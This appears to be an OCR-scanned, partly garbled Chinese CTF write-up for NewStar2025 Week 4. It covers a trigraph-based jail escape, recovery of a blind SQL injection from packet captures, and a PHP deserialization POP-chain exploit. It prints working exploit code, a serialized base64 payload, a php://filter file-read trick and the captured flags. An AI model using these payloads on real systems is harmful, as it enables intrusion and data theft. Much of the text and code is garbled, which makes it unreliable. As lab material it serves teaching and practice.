NewStar2025 WRITEUP

Week4d [REJEXR

Misc

® [misc] jail-Neuro jail

— e R A BB, ERENENMEEST X510, EER
‘RAZER NHRERZIT XA

Trigraphs (removed in C++17)

The following three-character groups (trigraphs) are parsed before comments and string literals are recognized, and
each appearance of a trigraph is replaced by the correspending primary character:
Primary Trigraph

?77<

77>

?77(

??)

7=

7/

77!

??!

V=] >~ [ [ o [

?27-

Because trigraphs are processed early, a comment such as will
effectively comment out the following line, and the string literal such as "Enter date 77/77/77" is parsed as
"Enter date \\??".

“// Will the next 1line be executed???\’, MXwE/E
B X! R\ AETARRETR! RiIFESIEX—/THHR
ITRES, ITF—ATE BX—1TEm, EmMET—ITHER!

Fril4s 4 payload:
std::string s = "NewStar!!!"; //\

#HAT basebd fwmEy:



c3Rk0jpzdHIpbmcgcyA9ICI0ZXdTdGFYISEhIjsglLy9c

NEW STRR

PYTHON JAIL CHALLENGE

Welcome to the NewStar CTF Python Jail!

MISSION BRIEFING:
Escape the waf jail

Good luck, NewStar!

Input your base6d content: c3RkOjpzdHIpbmcgcyA9ICIOZXdTdGFyISEhIjsKLy9¢c
Program output:

NewStar!!!

flag{62ea266f-1322-4950-8c2b-5acb16153955}

flag{62ea266f-1322-4950-8c2b-5ach16153955}

i WRARERARANE, REZMEE+F 5 WP +19 payload
BH—NFHARE, XZERARYE//RIINEZ AT

® [misc] HiBAMN-IREHU

%z R TR RATE ‘ﬂﬂ [MisclE&{RE% I zip
RIBZ SQL BF, (BRXORE pcapng F  >/hEIHERERTEE!

SLERINEFRIRIRTY, BT F, "LLA tshark -T json -r

*.pcapng > data.json #&EK json, #A/FH python o7

json
urllib.parse



data = json.load(open('data.json’, encoding='utf-8"))

range(len(data)):
'data-text-lines' data[i]['_source']| 'layers']:

request_url = data[i]['_source']| 'layers']| 'http'][ "http.request.uri’]

response = ''.join(data[i]['_source']| 'layers']| 'data-text-lines'].keys())
IVNPHERATZIEL ' in response:
ok.append(urllib.parse.unquote(request_url))

err.append(urllib.parse.unquote(request url))

recover(*keys):
filtered err 1 1 err if all(k 1 k keys)]
err_limit = min([int(1l.split('>")[1].split(" ")[@]) 1 in filtered err])
filtered ok 1 1 ok all(k 1 k keys)]
ok limit = max([int(l.split('>")[1].split(" ")[@]) 1 in filtered ok]) + 1
ok limit err_limit
chr(ok_limit)

i range(1, 35+1):
print(recover(' value' ', ',{i},1"', '>"), end-='")

D:\PiYuanZhoulLv\sl\NewStar2025\[Misc
flag{blind_injection_Re@lly Biggg!}

flag{blind_injection_Re@lly_Biggg!'}

Web

® [web] MFEEKE
ARUAREELOR I, LRBIRRL RIENED] T R

ZH TR, REGFEEFFOAE

F—REMES: php RSHRENZRI EHRERR" ", TEEHE



%, 2R, HE—A PHP<8 1y bug

php EASKE | OFREH D EfT

1 | $var = $_REQUEST['mo_chu.7'];

XEHEFMHAILAFIF— pres HIEERIHEERIITES : hitps:/github.com/php/php-
src/commit//fc4d462e947828fdbeac6020ac8f34704a2188347
branch=fc4d462e947828fdbeac6020ac8f34704a218834&diff=unified

L pHeif A T8 B, MMRSHPHIPES [, PESSPEIRRTYL _, BERESHIERERSEUET®
NRZEHBPES FE7 i AASBEERR TS, EHRRNRDPES [ HIlEsE, BAHES

[ FESWESHRN TR _ . BREAHESEUE T RIEHEEFRH SRR THE _

Payload L30T :

php SASKE | OFxREHE DT

1 | mo[ chu. 7=xxx

EfE A ?malze.path=...£%

BETREMERFILERE, RFAERE, LR
endPoint->__call B8 file_get_contents, =UUER|—%F
B

endPoint->__call <= Treasure->__get <=

Treasure->__toString <= SaySomething->__invoke <=

startPoint->__wakeup
B R AEMER, W REIFAA BN endPoint->path. fRiFEM

Treasure->door 55, FIHBEREBFERLEIE, FIL, AT
Bl fE, MI/NEXBITAHIE—T:

<?php
class startPoint{
public $direction;
function __wakeup(){
echo "gogogo H4&"& ";




$way = $this->direction;
return $way(Q);
}
}
class Treasure{
protected $door;
protected $chest;
function __construct($a, $b){
$this->door = $a;
$this->chest = $b;
}
function __get($arg){
echo "&ZARME, FHY "
$this -> door -> open();
}
function __toString(){
echo "/NERFE! ";
return $this -> chest -> key;
+
}
class SaySomething{
public $sth;
function __invoke()
{
echo "UtadtAmE ";
return "¥t: ".$this->sth;
}
}
class endPoint{
private $path;
function __construct($a){
$this->path = $a;
}
function __call($argl,$arg2){
echo "BIRAZLE| IFEZIRIRER flag B . "<br>";
echo file_get_contents($this->path);

+
}
$ep = new endPoint("flag.php");
$t1 = new Treasure($ep, null);
$t2 = new Treasure(null, $t1);
$ss = new SaySomething();

$ss->sth = $t2;




$sp = new startPoint();
$sp->direction = $ss;
echo serialize($sp);

>

& /53 baseb4 HRHMEIZEIE\X00 4 b

n [5]: base64.b6'4 (b 0: 10 t tP t 1 ( 9 "dir 0:12:"SaySomething":11{5:3:" th s8I AT reee:{s:7:"
3 2{7 *d ;0:8:"endPoint":1:{s:14:"\OendPoi tpth s:82 0 ¢

t Zox cn 1Y3Rpb24i0086MTI6I INheVNvbWVOaGluZy I6MTp7cz020iJzdGgi00860D0iVHILYXN1cm
Ui03I6e3M6Nz0iACOAZGIVCiTTT jt20jg6IgAqAGNOZXNOT jtP0 961 RyZWFzdXILIjoyOntz0jc6IgAqAGRVb3T 0086000 1ZW5kUG9pbnQi0jE6e3MEMT

Q6IgB1bmRQb21udABuYXRoI jtz0jg6ImZsYWcucGhwl jt9czod0iIAKgBjaGVzdCITTItIFX19"

’malze.path=
TzoxMDoic3RhcnRQb21ludCIb6MTp7czo501JkaXJ1Y3Rpb2410086MT16
I1NheVNvbWVBaGluZyIéMTp7cz0z01JzdGgi00860D0iVHILYXNI1cmUi
0jI16e3M6Nz0iACoAZG9veiI7Tjtz0jgb6IgAgAGNoZXNOIjtP0jg6I1RY
ZWFzdXJ1IjoyOntz0jc6IgAgAGRVvb3I100860D0iZW5KUG9pbnQi0jE6
e3M6MTQ6IgB1bmRQb21udABWYXRoIjtz0jg6ImZsYWecucGhwIjt9czo4
0iIAKgBjaGVzdCI7Tjt9fX19

gogogoti K& Ui siftale ANEEATE! ERIPEE, JFT! FNAZLA! B
e laght

B! & flage? BATMEMLRE, EREHEEER. php BE
BAREXAAE, 1 (%) EPERT, Eit, FMNFZAE
php://AThIRILABTME, BAMEREMIESR! KFRASIN
payload (¥ tmey flag.php):

php://filter/read=convert.basebé4-
encode/resource=flag.php




gogogoth KM it Ale NEREATE! ZRHAM, FF! BhALS! B
E 22 R Flaght

PD9waHAgJGZsYWcOImZsYWd7MzAANGM2ZTktMTAINiIOONMYWLTg2YFAENFcwYT1
4 >

23 EE, HTRHIT basebd AR T

base6u. b6Udecode( ' PD9waHAgIGZsYWcIImZsYWd7MzAUNGM2ZTktMTAINIOONmYwLTg2Y jAtNjewYTLhYjIwOTVmfSI7ID8+Cg=="

b'<?php $flag="flag{308Uc6e9-1056-46f0-86b0-670a9ab2095F}"; ?>\n'

flag{3084c6e9-1056-46f0-86b0-670a9ab2095F}

F: 7Nk

23 flag 7! X! |t

222t A ER? e W BREINETE - ERKW



